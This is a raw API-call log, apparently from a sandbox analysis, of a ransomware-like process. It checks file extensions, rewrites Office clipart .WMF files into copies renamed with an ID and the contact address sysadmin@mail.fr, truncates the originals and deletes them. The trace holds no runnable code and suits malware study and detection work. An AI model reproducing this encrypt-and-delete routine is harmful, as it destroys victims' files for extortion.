	[0150.218] lstrlenW (lpString=".rar") returned 4
	[0150.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.218] lstrlenW (lpString=".bz2") returned 4
	[0150.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.219] lstrlenW (lpString=".7z") returned 3
	[0150.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.219] lstrlenW (lpString=".dbf") returned 4
	[0150.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.219] lstrlenW (lpString=".1cd") returned 4
	[0150.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.219] lstrlenW (lpString=".jpg") returned 4
	[0150.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.219] lstrlenW (lpString=".doc") returned 4
	[0150.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.219] lstrlenW (lpString=".docx") returned 5
	[0150.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.219] lstrlenW (lpString=".pdf") returned 4
	[0150.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.219] lstrlenW (lpString=".xls") returned 4
	[0150.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.219] lstrlenW (lpString=".xlsx") returned 5
	[0150.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.219] lstrlenW (lpString=".ppt") returned 4
	[0150.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.220] lstrlenW (lpString=".zip") returned 4
	[0150.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.220] lstrlenW (lpString=".rar") returned 4
	[0150.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.220] lstrlenW (lpString=".bz2") returned 4
	[0150.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.220] lstrlenW (lpString=".7z") returned 3
	[0150.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.220] lstrlenW (lpString=".dbf") returned 4
	[0150.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.220] lstrlenW (lpString=".1cd") returned 4
	[0150.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.220] lstrlenW (lpString=".jpg") returned 4
	[0150.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.220] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.220] lstrlenW (lpString="HH00623_.WMF") returned 12
	[0150.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.221] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=10644) returned 1
	[0150.221] CloseHandle (hObject=0x48c) returned 1
	[0150.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220
	[0150.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.222] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.222] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0150.223] GetLastError () returned 0x0
	[0150.223] ReadFile (in: hFile=0x48c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2994, lpOverlapped=0x0) returned 1
	[0150.225] WriteFile (in: hFile=0x520, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0150.226] ReadFile (in: hFile=0x48c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.226] WriteFile (in: hFile=0x520, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.227] SetEndOfFile (hFile=0x520) returned 1
	[0150.227] CloseHandle (hObject=0x520) returned 1
	[0150.227] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.227] SetEndOfFile (hFile=0x48c) returned 1
	[0150.231] CloseHandle (hObject=0x48c) returned 1
	[0150.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1
	[0150.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.232] lstrlenW (lpString=".doc") returned 4
	[0150.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.232] lstrlenW (lpString=".docx") returned 5
	[0150.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.232] lstrlenW (lpString=".pdf") returned 4
	[0150.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.232] lstrlenW (lpString=".xls") returned 4
	[0150.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.232] lstrlenW (lpString=".xlsx") returned 5
	[0150.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.232] lstrlenW (lpString=".ppt") returned 4
	[0150.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.232] lstrlenW (lpString=".zip") returned 4
	[0150.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.232] lstrlenW (lpString=".rar") returned 4
	[0150.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.232] lstrlenW (lpString=".bz2") returned 4
	[0150.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.233] lstrlenW (lpString=".7z") returned 3
	[0150.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.233] lstrlenW (lpString=".dbf") returned 4
	[0150.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.233] lstrlenW (lpString=".1cd") returned 4
	[0150.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.233] lstrlenW (lpString=".jpg") returned 4
	[0150.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.233] lstrlenW (lpString=".doc") returned 4
	[0150.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.233] lstrlenW (lpString=".docx") returned 5
	[0150.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.233] lstrlenW (lpString=".pdf") returned 4
	[0150.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.233] lstrlenW (lpString=".xls") returned 4
	[0150.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.233] lstrlenW (lpString=".xlsx") returned 5
	[0150.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.233] lstrlenW (lpString=".ppt") returned 4
	[0150.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.234] lstrlenW (lpString=".zip") returned 4
	[0150.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.234] lstrlenW (lpString=".rar") returned 4
	[0150.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.234] lstrlenW (lpString=".bz2") returned 4
	[0150.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.234] lstrlenW (lpString=".7z") returned 3
	[0150.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.234] lstrlenW (lpString=".dbf") returned 4
	[0150.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.234] lstrlenW (lpString=".1cd") returned 4
	[0150.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0150.234] lstrlenW (lpString=".jpg") returned 4
	[0150.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.234] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.234] lstrlenW (lpString="HH00625_.WMF") returned 12
	[0150.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.235] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2116) returned 1
	[0150.235] CloseHandle (hObject=0x48c) returned 1
	[0150.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220
	[0150.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.236] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.236] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0150.237] GetLastError () returned 0x0
	[0150.237] ReadFile (in: hFile=0x48c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x844, lpOverlapped=0x0) returned 1
	[0150.239] WriteFile (in: hFile=0x520, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x850, lpOverlapped=0x0) returned 1
	[0150.240] ReadFile (in: hFile=0x48c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.240] WriteFile (in: hFile=0x520, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.240] SetEndOfFile (hFile=0x520) returned 1
	[0150.240] CloseHandle (hObject=0x520) returned 1
	[0150.240] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.240] SetEndOfFile (hFile=0x48c) returned 1
	[0150.372] CloseHandle (hObject=0x48c) returned 1
	[0150.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1
	[0150.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.842] lstrlenW (lpString=".doc") returned 4
	[0150.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.842] lstrlenW (lpString=".docx") returned 5
	[0150.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.842] lstrlenW (lpString=".pdf") returned 4
	[0150.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.842] lstrlenW (lpString=".xls") returned 4
	[0150.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.843] lstrlenW (lpString=".xlsx") returned 5
	[0150.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.843] lstrlenW (lpString=".ppt") returned 4
	[0150.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.843] lstrlenW (lpString=".zip") returned 4
	[0150.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.843] lstrlenW (lpString=".rar") returned 4
	[0150.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.843] lstrlenW (lpString=".bz2") returned 4
	[0150.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.843] lstrlenW (lpString=".7z") returned 3
	[0150.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.843] lstrlenW (lpString=".dbf") returned 4
	[0150.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.843] lstrlenW (lpString=".1cd") returned 4
	[0150.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.843] lstrlenW (lpString=".jpg") returned 4
	[0150.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.897] lstrlenW (lpString=".doc") returned 4
	[0150.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.897] lstrlenW (lpString=".docx") returned 5
	[0150.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.897] lstrlenW (lpString=".pdf") returned 4
	[0150.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.897] lstrlenW (lpString=".xls") returned 4
	[0150.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.898] lstrlenW (lpString=".xlsx") returned 5
	[0150.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.898] lstrlenW (lpString=".ppt") returned 4
	[0150.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.898] lstrlenW (lpString=".zip") returned 4
	[0150.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.898] lstrlenW (lpString=".rar") returned 4
	[0150.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.898] lstrlenW (lpString=".bz2") returned 4
	[0150.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.898] lstrlenW (lpString=".7z") returned 3
	[0150.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.898] lstrlenW (lpString=".dbf") returned 4
	[0150.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.898] lstrlenW (lpString=".1cd") returned 4
	[0150.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0150.898] lstrlenW (lpString=".jpg") returned 4
	[0150.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.898] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.899] lstrlenW (lpString="HH01080_.WMF") returned 12
	[0150.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0150.899] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=5000) returned 1
	[0150.899] CloseHandle (hObject=0x538) returned 1
	[0150.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220
	[0150.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0150.900] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.900] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0150.901] GetLastError () returned 0x0
	[0150.901] ReadFile (in: hFile=0x538, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1388, lpOverlapped=0x0) returned 1
	[0150.923] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1390, lpOverlapped=0x0) returned 1
	[0150.924] ReadFile (in: hFile=0x538, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.924] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.924] SetEndOfFile (hFile=0x518) returned 1
	[0150.924] CloseHandle (hObject=0x518) returned 1
	[0150.924] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.924] SetEndOfFile (hFile=0x538) returned 1
	[0150.927] CloseHandle (hObject=0x538) returned 1
	[0150.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1
	[0150.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.929] lstrlenW (lpString=".doc") returned 4
	[0150.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.929] lstrlenW (lpString=".docx") returned 5
	[0150.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.929] lstrlenW (lpString=".pdf") returned 4
	[0150.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.929] lstrlenW (lpString=".xls") returned 4
	[0150.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.929] lstrlenW (lpString=".xlsx") returned 5
	[0150.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.930] lstrlenW (lpString=".ppt") returned 4
	[0150.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.930] lstrlenW (lpString=".zip") returned 4
	[0150.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
